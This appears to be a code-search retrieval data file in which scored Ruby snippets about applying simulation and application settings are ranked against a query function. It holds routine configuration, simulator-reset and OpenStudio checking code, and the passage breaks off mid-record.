[ { "docid": "a22c5491520bacb007c8fcbeda8ba206", "score": "0.61774933", "text": "def apply_settings\n sim = MSPhysics::Simulation.instance\n return false unless sim\n set_continuous_collision_state( get_continuous_collision_state )\n set_solver_model( get_solver_model )\n set_friction_model( get_friction_model )\n set_update_timestep( get_update_timestep )\n set_gravity( get_gravity )\n set_material_thickness( get_material_thickness )\n set_world_scale( get_world_scale )\n set_update_rate( get_update_rate )\n show_collision_wireframe( collision_wireframe_visible? )\n show_axes( axes_visible? )\n show_aabb( aabb_visible? )\n show_contact_points( contact_points_visible? )\n show_contact_forces( contact_forces_visible? )\n show_bodies( bodies_visible? )\n true\n end", "title": "" } ]
[ { "docid": "14d5b38267fcedd0cfd6e5f83a52a8b7", "score": "0.6138381", "text": "def apply_settings\n return false unless MSPhysics::Simulation.active?\n self.continuous_collision_check_enabled = self.continuous_collision_check_enabled?\n self.solver_model = self.solver_model\n self.friction_model = self.friction_model\n self.update_timestep = self.update_timestep\n self.gravity = self.gravity\n self.material_thickness = self.material_thickness\n self.world_scale = self.world_scale\n self.update_rate = self.update_rate\n self.collision_wireframe_visible = self.collision_wireframe_visible?\n self.axes_visible = self.axes_visible?\n self.contact_points_visible = self.contact_points_visible?\n self.contact_forces_visible = self.contact_forces_visible?\n self.bodies_visible = self.bodies_visible?\n true\n end", "title": "" }, { "docid": "5e1eeec1bcea3d34df4d190bb1a7873c", "score": "0.57916754", "text": "def apply_overrides\n\t\tself.synchronize do\n\t\t\traise LocalJumpError, \"can't be called re-entrantly\" if self.overridden_settings\n\t\t\tself.overridden_settings = self.gather_current_settings\n\t\tend\n\n\t\tself.log_hosts_to_affect.each do |host|\n\t\t\thost.logger.restore_settings( self.settings )\n\t\tend\n\tend", "title": "" }, { "docid": "2be1e9a8ec4e5fadfb0795ca289d8dd7", "score": "0.56496453", "text": "def update_settings\n end", "title": "" }, { "docid": "352eb601dfe1ca45cec42f05c36e6799", "score": "0.5608854", "text": "def update_default\n update_players_settings\n update_game_settings\n end", "title": "" }, { "docid": "c5e9ce9d62e7f1dd72f2a734a6452493", "score": "0.55994034", "text": "def reset_sim_content_and_settings(opts={})\n default_opts = {:post_quit_wait => 1.0,\n :post_launch_wait => 3.0,\n :sim_udid => nil}\n merged_opts = default_opts.merge(opts)\n\n quit_sim(merged_opts)\n\n # WARNING - DO NOT TRY TO DELETE Developer/CoreSimulator/Devices!\n # Very bad things will happen. Unlike Xcode < 6, the re-launching the\n # simulator will _not_ recreate the SDK (aka Devices) directories.\n if xcode_version_gte_6?\n simctl_reset(merged_opts[:sim_udid])\n else\n sim_lib_path = File.join(sim_app_support_dir, 'Library')\n FileUtils.rm_rf(sim_lib_path)\n existing_sim_sdk_or_device_data_dirs.each do |dir|\n FileUtils.rm_rf(dir)\n end\n launch_sim(merged_opts)\n\n # This is tricky because we need to wait for the simulator to recreate\n # the directories. Specifically, we need the Accessibility plist to be\n # exist so subsequent calabash launches will be able to enable\n # accessibility.\n #\n # The directories take ~3.0 - ~5.0 to create.\n counter = 0\n loop do\n break if counter == 80\n dirs = existing_sim_sdk_or_device_data_dirs\n if dirs.count == 0\n sleep(0.2)\n else\n break if dirs.all? { |dir|\n plist = File.expand_path(\"#{dir}/Library/Preferences/com.apple.Accessibility.plist\")\n File.exist?(plist)\n }\n sleep(0.2)\n end\n counter = counter + 1\n end\n end\n end", "title": "" }, { "docid": "494e6946428d3588c03f66f96e2e2fff", "score": "0.5584258", "text": "def configure(settings = {})\n defaults.merge(settings).each do |key, value|\n set key, value\n end\n end", "title": "" }, { "docid": "e27ba0149344509067fdd94adc8e9a43", "score": "0.55600345", "text": "def call\n\t\tself.apply_overrides\n\t\tyield\n\tensure\n\t\tself.restore_overridden_settings\n\tend", "title": "" }, { "docid": "e27ba0149344509067fdd94adc8e9a43", "score": "0.55600345", "text": "def call\n\t\tself.apply_overrides\n\t\tyield\n\tensure\n\t\tself.restore_overridden_settings\n\tend", "title": "" }, { "docid": "72fc1b8ba71e1f3872d98fff78f27bd8", "score": "0.5533945", "text": "def apply_overrides\n\t\tself.synchronize do\n\t\t\traise LocalJumpError, \"can't be called re-entrantly\" unless\n\t\t\t\t@overridden_settings.empty?\n\t\t\t@overridden_settings = self.gather_current_settings\n\t\tend\n\n\t\tLoggability.log_hosts.each do |key, host|\n\t\t\thost.logger.restore_settings( self.settings )\n\t\tend\n\tend", "title": "" }, { "docid": "6282723f1e9fad827e8dcc53bc86e066", "score": "0.54643744", "text": "def each(&blk)\n @settings.each(&blk)\n end", "title": "" }, { "docid": "13ad9778fcad68881a00e50d83de8b39", "score": "0.54594207", "text": "def update_all\n @settings = Setting.update(params[:settings].keys, params[:settings].values).reject { |p| p.errors.empty? }\n if @settings.empty?\n flash[:notice] = \"settings updated\"\n redirect_to general_settings_url\n else\n render :action => \"general\"\n end\n end", "title": "" }, { "docid": "f63ca677a80c5be36d703b33ddd79c03", "score": "0.5392484", "text": "def update_all_config\n @admin.updateConfiguration\n end", "title": "" }, { "docid": "8c18fb5e947b6b1b2ecad37aa1ddb776", "score": "0.5381828", "text": "def set_simulation(type = :create)\n settings = PROP_SETTING[:common]\n if (type_settings = PROP_SETTING[type])\n settings = settings.merge(type_settings)\n else\n __debug(\"#{__method__}: #{type.inspect}: invalid type\")\n end\n settings.each_pair { |prop, value| send(\"#{prop}=\", value) }\n end", "title": "" }, { "docid": "94c736e4125c68f07d77f14da275552b", "score": "0.5331315", "text": "def around\n ClimateControl.modify(default_env_vars) do\n super\n end\n end", "title": "" }, { "docid": "02b2edc07686358450c35083be787e2c", "score": "0.53161407", "text": "def configure_settings\n @env = deep_merge(env.dup, configuration[:env]) if configuration[:env]\n @vm = vm.merge(configuration[:vm]) if configuration[:vm]\n end", "title": "" }, { "docid": "1d91ddc6cd00e22a835bd1f1a92579c0", "score": "0.53076136", "text": "def configure\n yield settings\n end", "title": "" }, { "docid": "b4d058567760b12a406b059f97385543", "score": "0.5289148", "text": "def run_all\n @last_run_states = @persistence ? @persistence.read('final_states', {}) : {}\n @skipped = {}\n run_suite(@suite)\n @persistence.store('final_states', @last_run_states) if @persistence\n end", "title": "" }, { "docid": "2c2429640f0fe587ee338ae193f92334", "score": "0.5286806", "text": "def run_all\n @state_machine.run_all\n end", "title": "" }, { "docid": "d0ec5b0709512155ffd50ed583e2da17", "score": "0.5263929", "text": "def configure\n yield settings\n end", "title": "" }, { "docid": "f6211c284a80916a49f3fd34273bb13b", "score": "0.5262868", "text": "def settings\n {\n :loadtime => @loadtime,\n :turntime => @turntime,\n :rows => @rows,\n :cols => @cols,\n :turns => @turns,\n :viewradius2 => @viewradius2,\n :attackradius2 => @attackradius2,\n :spawnradius2 => @spawnradius2,\n :viewradius => @viewradius,\n :attackradius => @attackradius,\n :spawnradius => @spawnradius,\n :seed => @seed\n }.freeze\n end", "title": "" }, { "docid": "f6211c284a80916a49f3fd34273bb13b", "score": "0.5262868", "text": "def settings\n {\n :loadtime => @loadtime,\n :turntime => @turntime,\n :rows => @rows,\n :cols => @cols,\n :turns => @turns,\n :viewradius2 => @viewradius2,\n :attackradius2 => @attackradius2,\n :spawnradius2 => @spawnradius2,\n :viewradius => @viewradius,\n :attackradius => @attackradius,\n :spawnradius => @spawnradius,\n :seed => @seed\n }.freeze\n end", "title": "" }, { "docid": "f23ac69a0d7b294205c3c37c40e00de8", "score": "0.5253729", "text": "def each\n # create Hash table to pack up settings\n pack = Hash.new\n @params.each do |key,value|\n pack[key] = packed?(key,value) ? value : [value]\n end\n # create full permutation of each setting\n confs = permute(pack)\n # create clone of current animconfig\n anim = self.clone\n # apply block attach to each to each config\n confs.each do |conf|\n anim.params = conf\n yield anim\n end\n end", "title": "" }, { "docid": "dafd3a09c3671ca31917ab56a14a0253", "score": "0.52440643", "text": "def setup(settings = {})\n @config = defaults.merge(settings)\n end", "title": "" }, { "docid": "c614816392e9da7387e28dde150fe5d7", "score": "0.5216503", "text": "def set_defaults\n [:labor_paid, :labor_retained, :material_paid, :material_retained].each do |sym|\n #self.send(\"#{sym.to_s}=\", self.markup.apply_to(self.payment.lines.includes(:component => :markups).where('markups.id = ?', self.markup_id).sum(sym)))\n self.send(\"#{sym.to_s}=\", 0)\n end\n self.set_sums\n end", "title": "" }, { "docid": "c99c2b0021be156e94c9992f0cc220fe", "score": "0.52124274", "text": "def write_settings\n Application.settings.set_value('pos', Qt::Variant.new(pos))\n Application.settings.set_value('size', Qt::Variant.new(size))\n Application.settings.sync\n end", "title": "" }, { "docid": "2a023f63313719dc1e029315364c4752", "score": "0.52103883", "text": "def configure\n super if defined? super\n if tr = self.model.transformer\n selected_frames.each do |local_frame, global_frame|\n if orogen_task.has_property?(\"#{local_frame}_frame\")\n property(\"#{local_frame}_frame\").write(global_frame)\n end\n end\n\n if !static_transforms.empty?\n orogen_task.static_transformations = static_transforms.map do |trsf|\n rbs = Types::Base::Samples::RigidBodyState.new\n rbs.zero!\n rbs.time = Time.now\n rbs.sourceFrame = trsf.from\n rbs.targetFrame = trsf.to\n rbs.position = trsf.translation\n rbs.orientation = trsf.rotation\n rbs\n end\n end\n end\n end", "title": "" }, { "docid": "87974fd0257e6a97de7febd57a1bf670", "score": "0.5209067", "text": "def set_settings_will_change\n self.settings_will_change!\n end", "title": "" }, { "docid": "159a08a827f24031b1ee2e9eabf0f747", "score": "0.5192827", "text": "def update_settings(settings)\n @bridge.update_settings(settings)\n end", "title": "" }, { "docid": "f78ebf8b40d1f3e74780f18f17d742d6", "score": "0.5166473", "text": "def configure\n super if defined? super\n if tr = self.model.transformer\n selected_frames.each do |local_frame, global_frame|\n if orocos_task.has_property?(\"#{local_frame}_frame\")\n property(\"#{local_frame}_frame\").write(global_frame)\n end\n end\n\n if !static_transforms.empty?\n orocos_task.static_transformations = static_transforms.map do |trsf|\n rbs = Types::Base::Samples::RigidBodyState.new\n rbs.zero!\n rbs.time = Time.now\n rbs.sourceFrame = trsf.from\n rbs.targetFrame = trsf.to\n rbs.position = trsf.translation\n rbs.orientation = trsf.rotation\n rbs\n end\n end\n end\n end", "title": "" }, { "docid": "32e787b6637d49ff9e970f0ec16084c8", "score": "0.5150664", "text": "def setup_all_options\n # setup all options one by one\n Constants.preferences_setup_options.each do |option|\n setup_option(option_name(option))\n end\n end", "title": "" }, { "docid": "930419215aa3071087a22d21ca368192", "score": "0.5150144", "text": "def setup_all\n setup_all_options\n save_validate_user { setup_successfull }\n end", "title": "" }, { "docid": "604355833feace672529e8ad6cfb8962", "score": "0.51420176", "text": "def put_all_pin_states\n dut.rtl_pins.each do |name, pin|\n pin.reset_simulator_state\n pin.update_simulation\n end\n end", "title": "" }, { "docid": "604355833feace672529e8ad6cfb8962", "score": "0.51420176", "text": "def put_all_pin_states\n dut.rtl_pins.each do |name, pin|\n pin.reset_simulator_state\n pin.update_simulation\n end\n end", "title": "" }, { "docid": "af15450ba83d747334fdcd9879f1cf65", "score": "0.5138798", "text": "def settings\n configuration = Config.instance\n\n yield configuration if block_given?\n\n @config = configuration\n end", "title": "" }, { "docid": "4b2cebf18e274a15707c3bf447011d60", "score": "0.5131786", "text": "def update_settings(opts = {})\n update(Settings, opts)\n end", "title": "" }, { "docid": "2f67ac93a586301bebfc5e1fc427b5a4", "score": "0.5113901", "text": "def settings\n base_configuration.settings + self.class.settings\n end", "title": "" }, { "docid": "f5c73cf741b832cf8fc115c265a74551", "score": "0.5099512", "text": "def run_all\n run_suite(@suite)\n end", "title": "" }, { "docid": "46bc60c5dfa9c087522a82cf6e28154f", "score": "0.5097419", "text": "def runSavSim(*opts)\n Dir.chdir(getConf(:workDir)){|workDir|\n case(getConf(:simType))\n when :random ;\n runSavSimRandom(*opts) ;\n when :mixture ;\n runSavSimMixture(nil, *opts) ;\n else\n raise \"unknown simulation type: \" + getConf(:simType) ;\n end\n }\n end", "title": "" }, { "docid": "eff2287588a7b2492505e4474f84eaba", "score": "0.50825584", "text": "def update_settings\n setting = company.setting_fallback\n RoomSetting.delete(setting.room_settings)\n setting.send(:create_room_settings)\n end", "title": "" }, { "docid": "3125a72c4ebb2c4b05c8e05dab1d980f", "score": "0.50711584", "text": "def update\n save_setting('program_name', Setting::NAME_CURR_PROGRAM_NAME)\n save_setting('timelapse_mode', Setting::NAME_TIMELAPSE_MODE)\n save_setting('interval', Setting::NAME_INTERVAL)\n save_setting_with('sensor_proximity', Setting::NAME_SENSOR_PROXIMITY, params['sensor_proximity'].include?('active') ? \"1\" : \"0\") if params['sensor_proximity']\n save_setting_with('sensor_vibration', Setting::NAME_SENSOR_VIBRATION, params['sensor_vibration'].include?('active') ? \"1\" : \"0\") if params['sensor_vibration']\n save_setting('sensor_time_between_photos', Setting::NAME_SENSOR_TIME_BETWEEN_PHOTOS)\n\n head :ok\n end", "title": "" }, { "docid": "b03b789e15c8f3af1cb83803a77caaf0", "score": "0.507031", "text": "def method_missing(meth, *args, &blk)\n settings.send meth, *args\n end", "title": "" }, { "docid": "61d9b7df583c9a0dcb8ff08501f1168e", "score": "0.5062783", "text": "def save_settings\n dir = 'Wave_Trace'\n model = Sketchup.active_model\n model.start_operation('Wave_Trace: Save All Settings', true) # Start an undo-able operation\n model.attribute_dictionaries.delete(dir) # First delete any pre-existing Wave_Trace dictionary\n \n model.set_attribute(dir, 'draw_realtime', @draw_realtime_check.checked?)\n model.set_attribute(dir, 'bounce_hidden', @bounce_hidden_check.checked?)\n model.set_attribute(dir, 'max_length', @max_length_drop.value)\n # model.set_attribute(dir, 'use_barrier', @use_barrier_check.checked?)\n model.set_attribute(dir, 'max_bounces', @max_bounces_drop.value)\n model.set_attribute(dir, 'bounce_filter', @bounce_filter_drop.value)\n # model.set_attribute(dir, 'draw_sweetspot', @draw_sweetspot_check.checked?)\n \n @speaker_list.each do |speaker|\n # Name each speaker after its index location in speaker_list... \"s_1\" \"s_2\" etc\n speaker_key = \"s_#{speaker_list.index(speaker).to_s}\" \n speaker_value = {\n name: speaker.button.caption,\n realtime_check: speaker.realtime_check.checked?,\n commit_check: speaker.commit_check.checked?,\n group_num: speaker.group_num\n }\n # Store the speaker settings as a string\n model.set_attribute(dir, speaker_key, speaker_value.inspect) \n \n speaker.driver_list.each do |driver|\n # Name driver index s_1_d_1, s_1_d_2 etc \n driver_key = \"#{speaker_key}_d_#{speaker.driver_list.index(driver).to_s}\"\n driver_value = {\n name: driver.name_field.value,\n origin: driver.origin.to_a,\n vector: driver.vector.to_a,\n x_angle_low: driver.x_angle_low_drop.value,\n x_angle_high: driver.x_angle_high_drop.value,\n y_angle_low: driver.y_angle_low_drop.value,\n y_angle_high: driver.y_angle_high_drop.value,\n x_angle_link: driver.x_angle_link_check.checked?,\n y_angle_link: driver.y_angle_link_check.checked?,\n density: driver.density_drop.value,\n ray_list: driver.ray_list,\n realtime_check: driver.realtime_check.checked?,\n commit_check: driver.commit_check.checked?\n }\n # Store the driver settings as a string\n model.set_attribute(dir, driver_key, driver_value.inspect)\n end\n end\n \n # FIX - Save global options too\n \n model.commit_operation # End undo-able operation\n UI.messagebox(\" Important!\\n\\nAll speakers, drivers and global settings have been stored in your model. You must SAVE YOUR MODEL for these settings to persist.\", MB_OK)\n end", "title": "" }, { "docid": "1a1b35a6ce40ceadeb74224f5b3148bf", "score": "0.50598663", "text": "def settings=(new_settings)\n settings.merge!(new_settings)\n end", "title": "" }, { "docid": "def67f4c80594cda9868b704492cbb53", "score": "0.5059233", "text": "def set_defaultsettings\n AppSettings.item.to_hash.each do |setting, value|\n s = RailsSettings::Settings.new \n s.var = setting.to_s\n s.value = value[:default]\n s.thing_id = self.id\n s.thing_type = \"Group\" \n s.save\n end\n end", "title": "" }, { "docid": "3c4afabce00fd74b0b6471c82bc813eb", "score": "0.5037435", "text": "def set_defaultsettings\r\n AppSettings.item.to_hash.each do |setting, value|\r\n s = RailsSettings::Settings.new \r\n s.var = setting.to_s\r\n s.value = value[:default]\r\n s.thing_id = self.id\r\n s.thing_type = \"Item\" \r\n s.save\r\n end\r\n end", "title": "" }, { "docid": "9edbb548c89a09e6d1e11ce31c28ddfe", "score": "0.5014468", "text": "def run\n methods = self.class.instance_methods - Object.instance_methods\n methods.grep(%r!^set_!).each do |v|\n send(v)\n end\n end", "title": "" }, { "docid": "3ec51b255b6490c305bed2cc8d235b67", "score": "0.5001798", "text": "def set_setting\n end", "title": "" }, { "docid": "73325a07e5c2981624cb00175473975f", "score": "0.49957642", "text": "def method_missing(method, *args, &blk)\n if settings.respond_to? method, true\n settings.__send__(method, *args, &blk)\n else\n super\n end\n end", "title": "" }, { "docid": "a4879923c0380d8d9fb3dc0139d9efb9", "score": "0.4971443", "text": "def settings=(keys)\n @settings = keys\n keys.each do |key|\n #Change key to local method\n local_key = key.tr('.', '_')\n\n #Getter\n define_method(local_key.to_sym()) do\n self[key]\n end unless method_defined?(local_key.to_sym())\n\n #Setter\n define_method(:\"#{local_key}=\") do |value|\n self[key] = value\n end unless method_defined?(:\"#{local_key}=\")\n end\n end", "title": "" }, { "docid": "de59c7c97e9baeacde71a57305b1aee6", "score": "0.49606946", "text": "def setup(settings = {})\n @configuration = defaults.merge(settings)\n \n unless @configuration[:reload_classes]\n @configuration[:fork_for_class_load] = false\n end\n \n @configuration\n end", "title": "" }, { "docid": "2cfec9d3a1c517bee47f264a7ac0c8ed", "score": "0.495823", "text": "def settings(*args)\n @memoized_settings ||= @options[:settings] || __get_class_value(:settings) || (super && @settings)\n end", "title": "" }, { "docid": "c849f58e3835cdd507f4fd67d8f006e8", "score": "0.49577647", "text": "def configure(settings = {})\n abstract_method\n end", "title": "" }, { "docid": "94e09c8c37ae6c7ed136586c398818b9", "score": "0.4956609", "text": "def output_current_settings\n output_pe_infrastructure_error_and_exit if unknown_pe_infrastructure?\n\n is_monolithic = monolithic?\n with_compile_masters = with_compile_masters?\n with_external_postgresql = with_external_postgresql?\n\n output_pe_infrastucture_summary(is_monolithic, with_compile_masters, with_external_postgresql)\n\n # Primary Master: Applicable to Monolithic and Split Infrastructures.\n @primary_masters.each do |certname|\n settings, duplicates = get_settings_for_node(certname, tunable_settings)\n output_node_settings('Primary Master', certname, settings, duplicates)\n end\n\n # Replica Master: Applicable to Monolithic Infrastructures.\n @replica_masters.each do |certname|\n settings, duplicates = get_settings_for_node(certname, tunable_settings)\n output_node_settings('Replica Master', certname, settings, duplicates)\n end\n\n unless is_monolithic\n # Console Host: Specific to Split Infrastructures. By default, a list of one.\n @console_hosts.each do |certname|\n settings, duplicates = get_settings_for_node(certname, tunable_settings)\n output_node_settings('Console Host', certname, settings, duplicates)\n end\n\n # PuppetDB Host: Specific to Split Infrastructures. By default, a list of one.\n @puppetdb_hosts.each do |certname|\n settings, duplicates = get_settings_for_node(certname, tunable_settings)\n output_node_settings('PuppetDB Host', certname, settings, duplicates)\n end\n end\n\n # External PostgreSQL Host: Applicable to Monolithic and Split Infrastructures.\n if with_external_postgresql\n @database_hosts.each do |certname|\n settings, duplicates = get_settings_for_node(certname, tunable_settings)\n output_node_settings('External PostgreSQL Host', certname, settings, duplicates)\n end\n if @database_hosts.count.zero?\n settings, duplicates = get_settings_for_node(@pe_database_host, tunable_settings)\n output_node_settings('External PostgreSQL Host', @pe_database_host, settings, duplicates)\n end\n end\n\n # Compile Masters: Applicable to Monolithic and Split Infrastructures.\n if with_compile_masters\n @compile_masters.each do |certname|\n settings, duplicates = get_settings_for_node(certname, tunable_settings)\n output_node_settings('Compile Master', certname, settings, duplicates)\n end\n end\n end", "title": "" }, { "docid": "b6377230282ce990a852225024376cae", "score": "0.49540022", "text": "def settings\r\n Mutable[self]\r\n end", "title": "" }, { "docid": "310300f402b61cca57dbe062b1933249", "score": "0.4944011", "text": "def update_settings hash\n update settings: settings.merge(hash)\n save\n end", "title": "" }, { "docid": "c72c6041b4e11d4b1fe9dc9984151486", "score": "0.4942802", "text": "def load_settings(other_settings)\n other_settings.each do |setting|\n new_setting = define_setting(setting.key, setting.default, setting.description, setting.options)\n new_setting.value = setting.value if setting.value_set?\n end\n end", "title": "" }, { "docid": "9f6d0639a4ecb5823cad670e2c93d295", "score": "0.4941721", "text": "def setup(&block)\n settings.instance_eval(&block) if block_given?\n end", "title": "" }, { "docid": "efc45d099b8185b2807232b932b43d1f", "score": "0.4924626", "text": "def run_all\n run_on_changes\n end", "title": "" }, { "docid": "51f40094b7cee838006488035e312b0d", "score": "0.4911474", "text": "def set_all\n if !@all_set\n @all_set = true\n set_bldg_and_system_type_for_building_and_section\n set_building_form_defaults\n set_width_and_length\n end\n end", "title": "" }, { "docid": "d2855b0e162a009e39f1193aa190782f", "score": "0.49064133", "text": "def run_all\n jammit\n end", "title": "" }, { "docid": "0ba7b0694d8a9fe913b2be911fb2ac79", "score": "0.48980382", "text": "def update_simulation\n return if force || !simulation_index || !tester.timeset || !simulator_needs_update?\n case state\n when :drive\n @simulator_state = :drive\n @simulator_value = value\n simulator.put(\"2^#{simulation_index}^#{value}\")\n when :compare\n @simulator_state = :compare\n @simulator_value = value\n simulator.put(\"4^#{simulation_index}^#{value}\")\n when :dont_care\n @simulator_state = :dont_care\n simulator.put(\"5^#{simulation_index}\")\n when :capture\n @simulator_state = :capture\n simulator.put(\"e^#{simulation_index}\")\n when :drive_very_high, :drive_mem, :expect_mem, :compare_midband\n fail \"Simulation of pin state #{state} is not implemented yet!\"\n else\n fail \"Simulation of pin state #{state} is not implemented yet!\"\n end\n end", "title": "" }, { "docid": "c2e3657921945f8cda2a69bac44c4399", "score": "0.48968148", "text": "def compute_effective_settings\n execution_context.inject({}) { |m,(level, identifier)|\n level_attrs = @settings_hierarchy[level]\n next if level_attrs.nil?\n identifier_attrs = level_attrs[identifier]\n next if identifier_attrs.nil?\n context_settings = identifier_attrs['settings']\n next if context_settings.nil?\n context_settings.each { |key, val|\n m[key] = val\n }\n m\n }\n end", "title": "" }, { "docid": "0564b56baceb23d7fec3d9323141fa38", "score": "0.48959967", "text": "def use_all(instrumentation_config_map = {})\n check_use_mode!(USE_MODE_ALL)\n @instrumentation_config_map = instrumentation_config_map\n end", "title": "" }, { "docid": "2a1414a4646d76d7e0a18afdaa1328e6", "score": "0.48944092", "text": "def edit_settings\n hide_properties\n require 'settings_dialog'\n stg = @stage\n this = self\n stage(init_style: :utility, init_modality: :app, title: \"SmartDashboard Settings\") do\n init_owner stg\n fxml SD::SettingsDialog, :initialize => [this]\n show_and_wait\n end\n end", "title": "" }, { "docid": "084b309835ea42db6f8fb60af87191a8", "score": "0.48827893", "text": "def configure\n load_all_configs \n end", "title": "" }, { "docid": "c519d2324560de7d89b628ec07a37cb2", "score": "0.4873862", "text": "def update\n super if defined? super\n @systems.each_value do |system|\n system.update\n end\n end", "title": "" }, { "docid": "5f3927b751d059449382ec67463583d0", "score": "0.487314", "text": "def load_settings\n @settings = Setting.all(:order => 'id')\n @settings.each do |setting|\n # set instance variables\n instance_variable_set(\"@#{setting.slug}\", setting.instance_value)\n end\n end", "title": "" }, { "docid": "94e8db51808dd8d7be38a12ac51a3d60", "score": "0.48665836", "text": "def initialize settings = {}\n @settings = DEFAULT_SETTINGS.merge settings\n @scale = @settings.get :scale\n @rotation = @settings.get :rotation\n @has_solids_manager = !!@settings.get(:has_solids_manager)\n @solids_manager = SolidsManager.new if (has_solids_manager?)\n super @settings #.get.reject { |key,val| next key == :assign_to }\n end", "title": "" }, { "docid": "131a58dd3aa0db1e31de9f8ab75a87b4", "score": "0.4866119", "text": "def settings=(_arg0); end", "title": "" }, { "docid": "131a58dd3aa0db1e31de9f8ab75a87b4", "score": "0.4866119", "text": "def settings=(_arg0); end", "title": "" }, { "docid": "510c3791bd102a98ce191cd0a96af3e6", "score": "0.48633155", "text": "def setup()\n @configuration = {}\n @configuration.merge!(defaults)\n @configuration\n end", "title": "" }, { "docid": "4977ea7dbf97f9a9f9e0a24ae812d694", "score": "0.48621467", "text": "def reset\n NETWORKS_KEYS.each do |network_key|\n network = {}\n DEFAULT_SETTINGS_KEYS.each do |key|\n network[key] = \"SharingCounter::Configuration::#{default(key)}\".constantize\n end\n INDIVIDUAL_SETTINGS_KEYS.each do |key|\n network[key] = \"SharingCounter::API::#{network_key.to_s.capitalize }::#{ default(key) }\".constantize\n end\n send \"#{network_key}=\", network\n end\n end", "title": "" }, { "docid": "a711bac8e5b8586f9e162c01c4c4f62f", "score": "0.48618767", "text": "def enableSimulation _obj, _args\n \"_obj enableSimulation _args;\" \n end", "title": "" }, { "docid": "dd3dc911f1d667b091b06f17f64010c4", "score": "0.485762", "text": "def run(runner, user_arguments)\n super(runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(), user_arguments)\n return false\n end\n\n run_sim_settings_checks = runner.getBoolArgumentValue('run_sim_settings_checks', user_arguments)\n unless run_sim_settings_checks\n return true\n end\n\n # get the last model and sql file\n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError(\"Cannot find last model.\")\n return false\n end\n model = model.get\n\n sql = runner.lastEnergyPlusSqlFile\n if sql.empty?\n runner.registerError(\"Cannot find last sql file.\")\n return false\n end\n sql = sql.get\n model.setSqlFile(sql)\n\n # Get the weather file run period (as opposed to design day run period)\n ann_env_pd = nil\n sql.availableEnvPeriods.each do |env_pd|\n env_type = sql.environmentType(env_pd)\n if env_type.is_initialized\n if env_type.get == OpenStudio::EnvironmentType.new(\"WeatherRunPeriod\")\n ann_env_pd = env_pd\n break\n end\n end\n end\n\n # Make sure an annual simulation was run\n if ann_env_pd.nil?\n runner.registerError(\"No annual environment period found, cannot perform checks.\")\n return false\n end\n\n # Get the day type timeseries.\n day_types = nil\n day_types_ts = sql.timeSeries(ann_env_pd, 'Hourly', 'Site Day Type Index', 'Environment')\n if day_types_ts.is_initialized\n # Put values into array\n day_types = []\n vals = day_types_ts.get.values\n for i in 0..(vals.size - 1)\n day_types << vals[i]\n end\n else\n runner.registerError('Site Day Type Index at Hourly timestep could not be found, cannot perform checks.')\n return false\n end\n\n # Get the daylight savings status timeseries\n daylt_svgs = nil\n daylt_svgs_ts = sql.timeSeries(ann_env_pd, 'Hourly', 'Site Daylight Saving Time Status', 'Environment')\n if daylt_svgs_ts.is_initialized\n # Put values into array\n daylt_svgs = []\n vals = daylt_svgs_ts.get.values\n for i in 0..(vals.size - 1)\n daylt_svgs << vals[i]\n end\n else\n runner.registerError('Site Daylight Saving Time Status at Hourly timestep could not be found, cannot perform checks.')\n return false\n end\n\n # Get the outdoor air temp timeseries\n oa_temps = nil\n oa_temps_ts = sql.timeSeries(ann_env_pd, 'Zone Timestep', 'Site Outdoor Air Drybulb Temperature', 'Environment')\n if oa_temps_ts.is_initialized\n # Put values into array\n oa_temps = []\n vals = oa_temps_ts.get.values\n for i in 0..(vals.size - 1)\n oa_temps << vals[i]\n end\n else\n runner.registerError('Site Outdoor Air Drybulb Temperature at Zone Timestep timestep could not be found, cannot perform checks.')\n return false\n end\n\n # Get the year from the sql file directly\n yr_query = 'SELECT year FROM time WHERE TimeIndex == 1'\n sql_yr = sql.execAndReturnFirstInt(yr_query)\n if sql_yr.empty?\n runner.registerError('Could not determine simulation year from sql file times, cannot perform checks.')\n return false\n end\n sql_yr = sql_yr.get\n\n # Check daylight savings inputs\n # If DST object is present in the model, that takes precedence.\n # If no DST object is present, EnergyPlus falls back on the\n # \"Use Weather File Daylight Saving Period\" field in the RunPeriod object.\n run_period_daylt_svgs_objs = model.getObjectsByType(\"OS:RunPeriodControl:DaylightSavingTime\".to_IddObjectType)\n run_period = model.getRunPeriod\n if run_period_daylt_svgs_objs.empty?\n if run_period.getUseWeatherFileDaylightSavings\n daylt_svgs_input_status = \"No RunPeriodControl:DaylightSavingTime so E+ falls back on RunPeriod 'Use Weather File Daylight Saving Period', which is set to TRUE (use DST specified in weather file).\"\n else\n daylt_svgs_input_status = \"No RunPeriodControl:DaylightSavingTime so E+ falls back on RunPeriod 'Use Weather File Daylight Saving Period', which is set to FALSE (don't use DST specified in weather file).\"\n end\n elsif run_period_daylt_svgs_objs.size == 1\n run_period_ctrl = run_period_daylt_svgs_objs[0]\n start_dst = run_period_ctrl.getString(1)\n end_dst = run_period_ctrl.getString(2)\n daylt_svgs_input_status = \"RunPeriodControl:DaylightSavingTime starts #{start_dst}, ends #{end_dst}.\"\n else\n runner.registerError('Multiple RunPeriodControl:DaylightSavingTime objects in model, cannot perform checks.')\n return false\n end\n\n # Check daylight savings outputs\n num_hrs_daylt_svgs = daylt_svgs.inject(:+)\n daylt_svgs_output_status = \"Daylight savings observed for #{num_hrs_daylt_svgs.round} of #{daylt_svgs.size} hrs simulated.\"\n\n # Check hours simulated input\n input_begin_month = run_period.getBeginMonth\n input_begin_day = run_period.getBeginDayOfMonth\n input_end_month = run_period.getEndMonth\n input_end_day = run_period.getEndDayOfMonth\n hrs_simulated_input_status = \"Run from #{input_begin_month}/#{input_begin_day} to #{input_end_month}/#{input_end_day}.\"\n\n # Check hours simulated via output\n hrs_simulated = sql.hoursSimulated\n if hrs_simulated.is_initialized\n hrs_simulated = hrs_simulated.get\n hrs_simulated_output_status = \"Simulation was #{hrs_simulated} hrs.\"\n else\n runner.registerError(\"Could not determine number of hours simulated from sql file, cannot perform checks.\")\n return false\n end\n\n # Warn if other than 8760 hrs simulated\n unless hrs_simulated == 8760.0\n hrs_simulated_warning = \"Expected 8760 for annual simulation.\"\n runner.registerWarning(hrs_simulated_warning)\n end\n\n # Check timestep input\n sim_ctrl = model.getSimulationControl\n step = sim_ctrl.timestep\n if step.is_initialized\n step = step.get\n input_steps_per_hr = step.numberOfTimestepsPerHour\n timestep_input_status = \"TimeStep object set to #{input_steps_per_hr} steps/hr.\"\n else\n runner.registerError('No TimeStep object in model, cannot perform checks.')\n return false\n end\n\n # Check the timestep output\n output_num_timesteps = 